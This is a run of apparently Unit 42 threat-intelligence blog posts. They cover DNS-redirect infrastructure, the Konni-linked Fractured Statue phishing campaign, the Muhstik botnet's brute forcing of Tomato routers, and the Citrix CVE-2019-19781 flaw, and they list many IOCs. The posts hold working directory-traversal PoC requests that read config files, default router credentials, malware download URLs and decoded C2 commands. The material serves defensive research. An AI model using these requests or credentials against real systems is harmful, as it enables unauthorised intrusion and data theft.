Similar to the activities reported by FireEye, Crowdstrike, and Cisco Talos, we too observed the creation of one or more Let’s Encrypt certificates created during the same time as the changes in domain hosting, all of which contained the name of the redirected domain. It is unknown whether or not the DNS redirects were successful in capturing visitor information.

This activity further led us to take a look at the infrastructure previously reported in DNS redirect activities. We identified several interesting resolutions within the same IP range although not a direct overlap with other xHunt infrastructure activities. One particular resolution of interest is with the Sakabota related domain sakabota[.]com. This domain resolved to the IP address 185.15.247[.]140 in September 2018. Between December 2017 and January 2018, this IP was used in DNS hijacking activities. We also noted both OilRig and Chafer resolutions within these same IP ranges over varying timeframes. Many of the redirected domains contained the subdomain mx, mail, or owa, indicating that these operators were likely targeting mail credentials. These infrastructure similarities are shown in the Appendix below.

Conclusion

The injected HTML code identified on the Kuwait organization’s website indicates a likely attempt to harvest credentials from the website’s visitors; specifically, gathering account names and password hashes. We believe that the same threat actors involved in the Hisoka attack campaign conducted these activities.

Similarities in infrastructure utilized by cyber threat operators targeting the Middle East are not new. Infrastructure has often been reused and even shared in the past. The overlaps in DNS redirect activities with the xHunt Campaign and known threat operators show a continued interest in this attack method within that region.

Our Threat Prevention Platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL filtering for malicious and/or compromised domains that have been identified. AutoFocus customers can continue to track xHunt Campaign activity by using the xHunt tag.

Appendix

IP Address Date Campaign/Association
185.15.247[.]140 12/30/2017 - 1/15/2018 Widespread DNS Hijacking Activity
185.15.247[.]140 1/14/2017 Oilrig (cloudipnameserver[.]com)
185.15.247[.]140 9/9/2018 Sakabota (sakabota[.]com)
185.161.211[.]72 - 79 9/28/2018 - 10/26/2018 DNSpionage Campaign
185.161.211[.]86 10/4/2018 Oilrig (lowconnectivity[.]com)
185.161.209[.]147 11/28/2018 Widespread DNS Hijacking Activity
185.174.101[.]68 9/28/2018 - 10/11/2018 DNSpionage Campaign
185.174.101[.]66 8/6/2018 Oilrig (ffconnectivitycheck[.]com)
185.174.101[.]68 2/14/2019 DNSpionage Campaign
199.247.3[.]191 11/5/2018 Widespread DNS Hijacking Activity
199.247.3[.]186 - 198 5/6/2018 - 8/30/2018 Chafer (zombsroyale[.]io)
213.202.217[.]31 7/6/2018 Newly identified DNS redirect activity
213.202.217[.]0,22 6/1/2018, 12/24/2018 Sakabota (alforatsystem[.]com)
213.202.217[.]4 9/8/2018 Sakabota (firewallsupports[.]com)
213.202.217[.]9 11/18/2018 - 11/29/2018 Oilrig (googie[.]email)
91.132.139[.]200 4/16/2019, 5/12/2019 Newly identified DNS redirect activity
91.132.139[.]183 4/7/2019 Hisoka (microsofte-update[.]com)
192.99.138[.]4 4/17/2019 - 6/17/2019 Newly identified DNS redirect activity
192.99.138[.]4 4/24/2019 Sakabota (antivirus-update[.]top)
192.99.138[.]6 4/14/2019 - 5/4/2019 Sakabota (6google[.]com)
104.168.136[.]161 6/24/2019 Newly identified DNS redirect activity
104.168.244[.]213 7/14/2019 Hisoka (microsofte-update[.]com)
104.168.244[.]213 7/15/2019 - 7/18/2019 Hisoka (google-update[.]com)

Additional Resources

The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks

Posted on by Adrian McCabe

Executive Summary

Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see Attribution section below for more details) used to primarily target a US government agency, using the ongoing and heightened geopolitical relations issues surrounding North Korea to lure targets into opening malicious email attachments. The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL.

CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates the installation of SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control (C2). It was found embedded in a malicious Word document sent as a phishing lure to a US government agency and two non-US foreign nationals professionally associated with North Korea.

Throughout the course of the campaign, Unit 42 ultimately observed a total of six unique malicious document lures being sent as attachments from four unique Russian email addresses to 10 unique targets. The subject matter of the lures featured articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. Of those malicious documents, five contained CARROTBAT downloaders, and one contained a CARROTBALL downloader. All malicious second stage payloads were SYSCON.

While this campaign does demonstrate some evolution in the actor’s tactics, techniques and procedures (TTPs) with the use of a new downloader family and new malicious code in the form of Word Document macros, the majority of its attributes bear a strong resemblance to the Fractured Block campaign previously reported by Unit 42 in November 2018. As such, Unit 42 has dubbed this campaign Fractured Statue. The Adversary Playbook for the activity described in this blog can be found here.

Figure 1. Fractured Statue Campaign Timeline

Opening Wave of Attacks

Between July 15th, 2019 and July 17th, 2019, spear phishing emails were sent to a total of five individuals at a US government agency from the email addresses 0tdelkorei@mail[.]ru and kargarnova@mail[.]ru. The spear phishing emails utilized three different email subjects with malicious macro documents attached with the same name; all file names were written in Russian. Further, all of the malicious documents contained articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. The documents themselves were rather generic and had no embedded image enticements to enable macros. They did, however, leverage second-stage downloader components consistent with known CARROTBAT samples, and almost all of them featured SYSCON payloads. The first pages of each of these documents are shown below:

Figure 2. First page of initial malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726 О ситуации на Корейском полуострове и перспекти вах диалога между США и К НДР 0tdelkorei@mail[.]ru On the situation on the Korean Peninsula and the prospects for dialogue between the USA and the PDR О ситуации на Корейском About the situation in Korean handicap.eu5[.]org

Table 1. First phishing attempt details.

Figure 3. First page of second malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af Продлится ли мирная пауз а на Корейском полуостро ве до 2024 года 0tdelkorei@mail[.]ru Will there be a peaceful pause on the Korean Peninsula until 2024? Продлится ли мирная пауз Will the peace breaks last handicap.eu5[.]org

Table 2. Second phishing attempt details.

Figure 4. First page of third malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Россия – КНДР – РК – тор гово-экономические связ и – инвестиции. kargarnova@mail[.]ru “Russia - DPRK - RK - trade and economic ties and - investments.” Россия – КНДР – РК – тор Russia - DPRK - RK - tor handicap.eu5[.]org

Table 3. Third phishing attempt details.

Second Wave

Roughly one month later, beginning on August 15, 2019 and ending on September 14, 2019, the second wave of CARROTBAT attacks occurred against three additional email addresses at the same government agency. One attack featured the same sender and malicious document but had a different subject and filename. The other two emails contained a previously unseen malicious document and featured a mix of Russian and English languages in both the document lures and the email correspondence.

SHA256 Subject Sender File name Initial C2 Domain
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Russia – North Korea – Republic of Korea – trade and economic relations – investments. kargarnova@mail[.]ru Russia – North Korea – Republic of Korea handicap.eu5[.]org

Table 4. Fourth phishing attempt details.

Figure 5. First page of fourth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender File name Initial C2 Domain
ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a Republic of Korea, the Russian Federation and the DPRK rusrnirasaf@yandex[.]ru Republic of Korea, the Russian Federation and the DPRK.doc panda2019.eu5[.]org

Table 5. Fifth phishing attempt details.

Figure 6. First page of the fifth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f Корейский полуостров в глобальных и региональныхизмерениях. Безопасность ивозможностивзаимодействия kargarnova@mail[.]ru The Korean Peninsula in global and regional dimensions. Security and Interoperability материалы.doc materials.doc panda2019.eu5[.]org

Table 6. Sixth phishing attempt details.

Final Attempt

On October 29, 2019, one of the same individuals targeted in the second wave of attacks was targeted again with a malicious document, though in this attack the sender was different and the document lure did not feature CARROTBAT. Also of note is that the lure in this attack did feature a more traditional “enable macro” cover page, but was then followed by additional pages in Russian that thematically matched with the documents found in the rest of the campaign.

Figure 7. First page of sixth malicious document observed in the campaign. Associated with CARROTBALL.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfa9c0f4ab6c95db7 Инвестиционный климат Северной Кореи. pryakhin20l0@mail[.]ru “The investment climate of North Korea.” Инвестиционный климат С Investment climate C downplease.c1[.]biz

Table 7. Seventh phishing attempt details.

Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government agency, and the other two individuals were non-US foreign nationals professionally associated with ongoing activities in North Korea.

Technical Analysis

With the exception of the October 2019 attack, all of the malicious documents found in this campaign featured the following macro code snippet of interest:

Figure 8. Macro from malicious documents associated with CARROTBAT.

When executed, this code will:

  • Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture.
  • Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine.
  • Execute the command.
  • Clear the contents of the textboxes and save the document.

As previously mentioned, all samples featuring the macros above also featured CARROTBAT as a second stage downloader.

The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the document itself, the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the ‘|’ character that ultimately acted as a dropper. When the macro was executed, the hex bytes were split, converted to binary, and dropped onto disk as an executable. The first few lines of this functionality are shown below:

Figure 9. Macro from malicious documents associated with CARROTBALL.

In this case, the dropped binary was a new type of downloader we have dubbed CARROTBALL. Its sole purpose was to serve as the main mechanism to facilitate the download and installation of the SYSCON backdoor. This is very similar to the CARROTBAT samples observed earlier on in this campaign and in the previous Fractured Block campaign (see technical analysis here). Additionally, of novel interest in this attack was the use of two separate FTP credential pairs to conduct active C2 operations. One credential pair was hardcoded in the dropped CARROTBALL binary and used to connect to the domain downplease.c1[.]biz to retrieve a CAB file renamed with a generic .dat extension.

Figure 10. Observed CARROTBALL FTP interaction.

When extracted, the .cab file was found to contain two malicious batch files, two malicious dlls (one of which contained a custom base64 alphabet), and a second domain (lookplease.c1[.]biz) with a set of FTP login credentials encoded in the custom base64 alphabet. The contents of the cab file are as follows:

Figure 11. Converted CAB file contents extracted from observed CARROTBALL FTP interaction.

SHA256 File Name Functionality
42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f alive.bat Install and establish persistence for core SYSCON backdoor component.
a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76 bpu.dll UPX-packed system process injection mechanism to gain execution of alive.bat. Reserved for use against non-admin users.
c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246c2517ca mama.bat Batch file to delete assorted host based artifacts of malware. Deletes bpu.dll if running as Admin. Runs bpu.dll if not Admin.
ad63b8677c95792106f5af0b99af04e623146c6206125c93cf1ec9fbfeafaac9 syssec.bin Custom base64 encoded FTP credentials and C2 domain.
bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099 syssec.dll Core SYSCON backdoor component.

Table 8. CAB file contents.

While observing the malware’s interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently identified containing text encoded with the same custom base64 alphabet used previously. When decoded, these files were found to contain additional commands to be executed on the infected host.

SHA256 File Name Raw FIle Contents Decoded Command
f3d3fa4c76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67 Gei All (0).txt Fg37eqye0ee2eqse0e3SeY8evg3Geqhecy3-eqAexf32eUAe cmd /c systeminfo
4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94 Gei All (1).txt Fg37eqye0ee2eqse0e3GeqOevg31eqge/y3SeYyeZfeD cmd /c tasklist

Table 9. SYSCON C2 file attributes.

At the time of the activity, both downplease.c1[.]biz and lookplease.c1[.]biz resolved to the IP address 185.176.43[.]94.

Attribution

Konni: Malware or Actor?

Originally, the name “Konni” was used to refer to a Remote Access Trojan utilized in targeted campaigns with strong links to North Korean interests. However, as additional campaigns began to appear with strongly overlapping TTPs yet did not feature the Konni RAT, specifically, some industry researchers simply began to adopt the “Konni” moniker to refer to the actors behind the aggregated set of activity. Unit 42 has followed this trend, and now refers to the “Konni Group” as such.

Konni’s Ties to Fractured Statue

As prominently documented by Cisco Talos, the first Konni Group activity was a sustained information stealing/RAT distribution campaign spanning between 2014 and 2017. Throughout 2018, Unit 42 released several blogs on Konni Group activity, and subsequently identified two new malware families the group was using in the attacks, dubbed NOKKI and CARROTBAT, respectively. Now, in 2019, Unit 42’s continued observation of targeted CARROTBAT activity (in addition to the new malware CARROTBALL being used during the same campaign) could indicate that both are still in use by the Konni Group, as thematically linked elements of Konni Group TTPs include:

  • Targeting individuals/organizations who have interest in, are directly linked to, or conduct business in North Korea (corroborated by previous research by Unit 42).
  • Utilizing malicious document phishing lures containing subject matter pertaining to North Korea (corroborated by previous research by Unit 42).
  • Iteratively increasing the type and complexity of their payload delivery mechanisms (from their initial use of simple Base64 strings as reported by Trend Micro, then later leveraging CARROTBAT, and now leveraging CARROTBALL)

However, there are non-trivial obstacles to obtaining a high-confidence attribution to the Konni Group, namely the fact that previous blogs produced by Unit 42 and other researchers contain a great deal of technical detail about the group’s operations, and copycat actors may attempt to emulate previously observed TTPs to hinder attribution efforts or perform false-flag operations.

In light of these factors, Unit 42 assesses with moderate confidence that this activity is related to the Konni Group.

Conclusion

Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still relevant, and that the group behind the attacks still appears to be active. Additionally, development and use of the new downloader, CARROTBALL, alongside the more commonly observed malware delivery mechanism, CARROTBAT, may indicate that the previous methods employed by the group to successfully infect their targets are becoming less effective. The Adversary Playbook for the activity described in this blog can be found here.

Palo Alto Networks customers are protected from this threat in the following ways:

* AutoFocus customers can track these samples with the FracturedStatue, SYSCON, KONNI, CARROTBAT and CARROTBALL tags.

* WildFire detects all files mentioned in this report with malicious verdicts.

* Cortex XDR blocks all of the files currently associated with the Fractured Block campaign.

IOCS:

Malicious Documents with CARROTBAT:

a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f

ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a

9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225

4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726

63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af

Malicious Document with CARROTBALL:

c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfa9c0f4ab6c95db7

CARROTBALL Downloader:

56924402a17393e542f6bf5b02cd030cc3af73bc2e1c894a133cebb2ca9405ee

SYSCON Samples:

ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e

52ba17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3c1ec5d2

4958fe8c106200da988c22957821513efd05803460e8e5fcfedb5cbca8d87a5b

7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acb60c

bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099

Associated SYSCON C2 Files:

f3d3fa4c76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67

4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94

ad63b8677c95792106f5af0b99af04e623146c6206125c93cf1ec9fbfeafaac9

c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246c2517ca

a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76

42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f

Infrastructure:

Domain: handicap[.]eu5[.]org

IP Resolution: 69.197.143[.]12

Domain: panda2019[.]eu5[.]org

IP Resolution: 162.253.155[.]226

Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Domain: lookplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Additional CARROTBALL Samples Identified on VirusTotal:

6fa895d0472e87dea3c5c5bd6774488d2d7fe409ff9ae83870be3740fdfd40e8

Domain: downyes[.]c1[.]biz

IP Resolution: Unavailable/unknown

989c042ab9a07b11026bce78dc091f25fa51cb5e310c668904afc7939b197624

Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

 

Muhstik Botnet Attacks Tomato Routers to Harvest New IoT Devices

Posted on by Cong Zheng

Executive Summary

On Dec. 5, 2019, Unit 42 researchers discovered a new variant of the Muhstik botnet that adds a scanner to now attack Tomato routers for the first time by web authentication brute forcing.

Tomato is an open source alternative firmware for routers. Thanks to its stable, Linux-based, non-proprietary firmware, with VPN-passthrough capability and advanced quality of service (QoS) control, Tomato firmware is commonly installed by multiple router vendors and also installed manually by end users. By our investigation on Shodan, there are more than 4,600 Tomato routers exposed on the Internet.

The Muhstik botnet has been alive since March 2018, with a wormlike self-propagating capability to infect Linux servers and IoT devices. Muhstik uses multiple vulnerability exploits to infect Linux services, such as Weblogic, WordPress and Drupal. It also compromises IoT routers, such as the GPON home router and DD-WRT router. This new variant expands the botnet by infecting Tomato routers.

We have not found further malicious activities in Tomato routers after the Muhstik botnet harvests vulnerable routers, but from our understanding of the Muhstik botnet, Muhstik mainly launches cryptocurrency mining and DDoS attacks in IoT bots to earn profit. We will keep monitoring its Command and Control (C2) IRC channel.

In the following part, we have a detailed analysis of Muhstik botnet.

New Scanner for Tomato Routers

The new Muhstik variant scans Tomato routers on TCP port 8080 and bypasses the admin web authentication by default credentials bruteforcing. In Tomato routers, the default credentials are “admin:admin” and “root:admin”. We captured the Tomato router web authentication brute forcing traffic, in Figure 1.

Figure 1. Tomato router web authentication bruteforcing

To estimate the infected volume, we searched for fingerprints of Tomato routers in Shodan. As noted in Figure 2, there are about 4,600 potential victims on the Internet in total. This total is derived by including the number of TomatoUSB devices, which is used as a NAS server by combining the Tomato router and a USB drive.

Figure 2. Exposed Tomato & TomatoUSB routers on the Internet

Other Scanners

Scan #1: WordPress

The first module is a scanner to identify WordPress installed on a server. To perform the scanning, it sends a GET request to port 80/tcp or 8080/tcp, which are typical HTTP ports.

Figure 3. WordPress scanner used by daymon

Scan #2: Webuzo

The second module is a scanner to identify Webuzo solutions installed on a server. To accomplish the scanning, it sends a GET request to port 2004/tcp, which is Webuzo’s default port for administration. The request uses the path /install.php since it is the Webuzo installer file and by default a server running Webuzo will respond successfully to that request.

Scan #3: CVE-2019-2725 - WebLogic versions 10.3.6.0 and 12.1.3.0

The third module abuses a deserialization vulnerability present in Oracle WebLogic Server that leads to a Remote Code Execution. This vulnerability can be exploited remotely and without previous authentication. This exploit is sent to port 7001/tcp since its WebLogic Server’s default port.

We think that this URL hxxp://165.227.78[.]159/wl.php is used for the reporting purpose. Because, the same IP address 165.227.78[.]159 was previously used by Mushtik botnet as a reporting server to collect information of bots as we mentioned in a previous analysis of another Muhstik variant.

Muhstik Botnet Infrastructure

Figure 3 below shows the execution flow used by the updated Muhstik variant. Figure 4 shows this Muhstik botnet variant combining the modules to scan Linux servers running WordPress and Webuzo. Additionally, it implements modules to compromise WebLogic servers and Wi-Fi routers running Tomato firmware.

Figure 4. Muhstik infrastructure

Figure 5. Detailed scanning and exploiting behavior

Payloads of Muhstik Variants

We discovered a malicious binary called tty0. Since tty0 targets Tomato routers, it includes bash commands that can be executed in those systems (and other systems such as DD-WRT):

The first command is used to download a binary called nvr from http://y.fd6fq54s6df541q23sdxfg[.]eu/nvr

It also applies anti-analysis techniques by killing the strace and tcpdump process running in the system.

The nvr binary contains commands to download four additional binaries. These four binaries are IRC botnet variants, which work on ARM and MIPS architectures. We focused our analysis on binary Pty5, since it drops a binary called daymon, which is a scanner containing the new module targeting Tomato routers.

daymon was encrypted using Mirai’s encryption method, the table key is 0xEFBEADDE.

IRC C2

Once a device is compromised, it will send a connect command to an IRC server. The connect command includes a nickname (NICK) for the device in order to join the channel. This nickname contains the node hostname of the infected device that was previously obtained, shown in Figure 5.

Figure 6. Hostname harvesting

In Figure 6, it adds a username to the connect command.

The server responds with a PING command followed by a BotnetID. The infected device replies with a PONG followed by the BotnetID. Once a nickname has been crafted and assigned to the infected client, the IRC server accepts the bot as a client in the main channel. Then, the server sends a MOTD (Message of the Day) to the client. Consequently, the victim device will send a command to join a channel called ea, where the commands are sent to the clients that have joined the botnet. The botnet will harvest information of the infected device such as the public IP address in order to register the device into the botnet.

Figure 7. Joining the IRC channel

Conclusion

The new Muhstik botnet variant demonstrates that IoT botnet keeps expanding the botnet size by adding new scanners and exploits to harvest new IoT devices. Botnet developers are increasingly compromising IoT devices installed with the open source firmware, which often lack the security updates and maintenance patches necessary to keep devices safeguarded. End users should be cautious when installing open source firmware and must follow the security guidelines in the firmware manual.

Palo Alto Networks customers are protected from the Muhstik botnet by the following platform protections:

  1. Threat Prevention Signatures: 55570 that identifies the Weblogic (CVE-2019-2725) exploit.
  2. PAN-DB and DNS Security: blocks attackers’ C2 server URL and domain.
  3. WildFire and Antivirus: identifies and blocks Muhstik malware.

Appendix

C2

IRC servers:

46.149.233[.]35

68.66.253[.]100

185.61.149[.]22

Domains and URLs:

hxxp://y.fd6fq54s6df541q23sdxfg[.]eu/nvr

hxxp://159.89.156[.]190/.y/pty1

hxxp://159.89.156[.]190/.y/pty3

hxxp://159.89.156[.]190/.y/pty5

hxxp://159.89.156[.]190/.y/pty6

s.shadow.mods[.]net

Samples

Filename SHA256 File type
tty0 492780a9ac9f03305538b360d8a836c038da4920e8c1ae620988b120613c0b1f MIPS-ELF
nvr 2548f5b1613f6ebba2ff589c7b3416ccdd066b73644d4d212232beb1cecd9c31 Shell script
Pty1 a4ba50129408f9f52ddabe5bfd5bfb46aea0ca48fb616f495f2610b2f1729687 MIPS-ELF
Pty3 7325742dc0d939542d4c04ae2ae8f2792711203de50d3d16de3a9f83baaf5435 MIPS-ELF
Pty5 72123c51bcdf8c1784654d9e2470e69131872407408aa3cf775ea0ace87bb9a0 ARM-ELF
Pty6 cee20e79f20d35b95645f0cbda1897302e6e554c50f3e6754ce9293e3c1ba11c ARM-ELF
daymon dc52a1193ecf6096192f771ae663de6e0389840cb5ceb7b979091333ce6f7f02 ARM-ELF

Threat Brief: Windows CryptoAPI Spoofing Vulnerability CVE-2020-0601

Posted on by Brandon Young

Executive Summary

In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball. The vulnerability exists in the Windows CryptoAPI (Crypt32.dll) and specifically relates to the method used for Elliptic Curve Cryptography (ECC) certificate validation. At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW). Researcher Tal Be’ery released a blog titled “Win 10 Crypto Vulnerability: Cheating in Elliptic Curve Billiard 2” that does a fantastic job at explaining this bug.

Mitigation Actions

The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added. The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs. Analysts can collect alerts on the Application Message “CVE-2020-0601” as a means to hunt for attempted exploitation of this vulnerability on patched systems.

We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.

Conclusion

Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system. Additionally, Palo Alto Networks offers multiple, additional complementary protections:

  • Cortex XDR and Traps can:
    • Stop the vulnerability exploit on patched and unpatched Windows 10 systems.
    • Block spoofed executables from running by detecting any attempt to exploit this vulnerability and terminating the process using Behavioral Threat Protection.
    • Alert on attempted exploitation against patched systems based on the usage of the CveEventWrite Event Application Message. The alert includes the file path of the malicious sample. 
    • To gain protection, customers should ensure they are running the latest agent version. 
  • WildFire can stop the exploit with static signature detections.
  • Next-Generation Firewalls can automatically stop sessions with certificates signed by an untrusted issuer, as were used in this threat, when applying the recommended configuration from our SSL decryption best practices.

As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage. As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

References:

CVE-2020-0601: The ChainOfFools/CurveBall Attack Explained POC

Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2

NSA Cybersecurity Advisory

 

Exploits in the Wild for Citrix ADC and Citrix Gateway Directory Traversal Vulnerability CVE-2019-19781

Posted on by Yue Guan

Executive Summary

Just before the holidays, a vulnerability was identified in Citrix Application Delivery Controller (ADC) and Citrix Gateway which allowed remote attackers to easily send directory traversal requests, read sensitive information from system configuration files without the need for user authentication and remotely execute arbitrary code. This vulnerability affects all supported product versions and all supported platforms:

• Citrix ADC and Citrix Gateway version 13.0 all supported builds

• Citrix ADC and NetScaler Gateway version 12.1 all supported builds

• Citrix ADC and NetScaler Gateway version 12.0 all supported builds

• Citrix ADC and NetScaler Gateway version 11.1 all supported builds

• Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

This vulnerability is tracked using CVE-2019-19781 and comes with a 9.8 critical CVSS v3.1 base score. Unit 42 researchers found scanning activities in the wild which leverages this vulnerability and have identified additional Indicators of Compromise since this vulnerability was initially disclosed on January 10. Palo Alto Networks released protection for our customers on January 7, 2020 through Threat Prevention Signatures 57497, 57570.

In this blog, we provide the root cause analysis of the vulnerability, Proof of Concept examples (PoC) and attack activities we observed in the wild.

Root Cause Analysis of the Vulnerability

This directory traversal vulnerability is caused by improper handling of the pathname. The system doesn't have a data sanitation check and uses the path in incoming requests directly. When the vulnerable system receives a request containing a path like /vpn/../vpns/services.html, the Apache server running in the Citrix products transforms the path from /vpn/../vpns/ into simply /vpns/. This vulnerability in the Apache system could allow remote attackers to exploit directory traversal requests and access sensitive files without the need for user authentication.

In other situations, it could be more severe. The directory traversal can be applied to a user input without authentication and sanitation. From which, the attacker can make a crafted XML file in the vulnerable server using a POST request. Afterward, when the attacker makes another HTTP request to visit the rendered file, the malicious code inside the XML file can be executed.

Proof of Concept

We manipulated the following PoCs in a testing environment and observed the responses from those directory traversal requests. The PoCs clearly show that requests with directory traversal were successfully handled by the vulnerable systems. Some of the requests even provided access to sensitive files, leading to an information leak, or even a remote code execution.

  • GET /vpn/../vpns/services.html HTTP/1.1

Figure 1. Successful response with PoC request

  • GET /vpn/../vpns/cfg/smb.conf HTTP/1.1

Figure 2. Successfully access smb.conf file with PoC request

  • GET /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
  • GET /vpn/../vpns/portal/scripts/rmbm.pl HTTP/1.1

Exploits in the Wild

We took a glance at the vulnerable systems that have already been exposed to the Internet. With a simple search targeting Citrix ADC on Shodan, there were roughly 700 results referring to the vulnerable Citrix products. We believe this number could sharply increase with a more detailed search.

Figure 3. Vulnerable Citrix hosts list from Shodan

We captured multiple attempts to exploit this vulnerability in the wild through the Palo Alto Networks Next-Generation Firewall platform. As seen in Figure 5, a directory traversal request could allow smb.conf to be exposed and retrieved without any user authentication. As seen in Figure 6, NSC_USER can be a key to exploit directory traversal in an HTTP header which could lead to remote code execution.

Figure 4. Attack activity found in the wild

Figure 5. Directory traversal request found in the wild

Figure 6. Directory traversal request found in the wild

Conclusion

This vulnerability has wide exposure in customer environments around the world and is wildly being exploited according to Unit 42 and other security research organizations. Unfortunately, It is also easily exploited and leads to remote code execution.

On December 17, 2019, Citrix released Security Bulletin CTX267027 and also published Mitigation Steps CTX267679 that can help guard against the possibility of attacks. Citrix also announced that a patch will be released for Citrix ADC and Citrix Gateway 10, 11, 12 and 13 in late January.

Citrix recommends users apply a specific responder policy to filter exploitation attempts. The mitigation steps describe techniques to block the requests that contain a directory traversal attempt /../ and also requests that attempt to access the /vpns/ directory. System administrators are strongly encouraged to deploy this mitigation strategy while awaiting a proper fix for the vulnerability.

Palo Alto Networks customers who deploy our Next-Generation Security Platform according to best practices and have a Threat Prevention Subscription were proactively protected against exploitation of the Citrix ADC vulnerability. Palo Alto Networks released protection to customers on January 7, 2020 and public reports of successful exploitation were reported on January 11, 2020. Unit 42 will continue to monitor exploitation of this vulnerability and will add additional protections as exploitation continues to occur.

  • Threat Prevention Signatures 57497, 57570
  • The following IP addresses associated with abnormal scanning activity to exploit this vulnerability were added to the “Palo Alto Networks - Known Malicious IP addresses” block list. Customers running PAN-OS 8.1 or later can leverage the pre-defined External Dynamic Lists to deliver blocking in the policy.

IoCs

111[.]206[.]59[.]134

111[.]206[.]52[.]101

111[.]206[.]52[.]81

111[.]206[.]59[.]142

104[.]244[.]74[.]47

104[.]168[.]166[.]234

23[.]129[.]64[.]157

27[.]115[.]124[.]70

27[.]115[.]124[.]9

27[.]115[.]124[.]74

45[.]32[.]45[.]46

45[.]83[.]67[.]200

47[.]52[.]196[.]15

47[.]52[.]196[.]152

167[.]88[.]7[.]134

185[.]212[.]170[.]163

5[.]101[.]0[.]209

185[.]220[.]101[.]69

85[.]248[.]227[.]164

192[.]236[.]192[.]119

192[.]236[.]192[.]3

94[.]140[.]114[.]194

 

Threat Brief: Iranian-Linked Cyber Operations

Posted on by Unit 42

Executive Summary

With elevated tensions in the Middle East region, there is significant attention being paid to the potential for cyber attacks emanating from Iran. The following threat brief contains a summary of historical campaigns that are associated with Iranian activity and does not expose any new threat or attack that has occurred since the events of January 3rd, 2020.

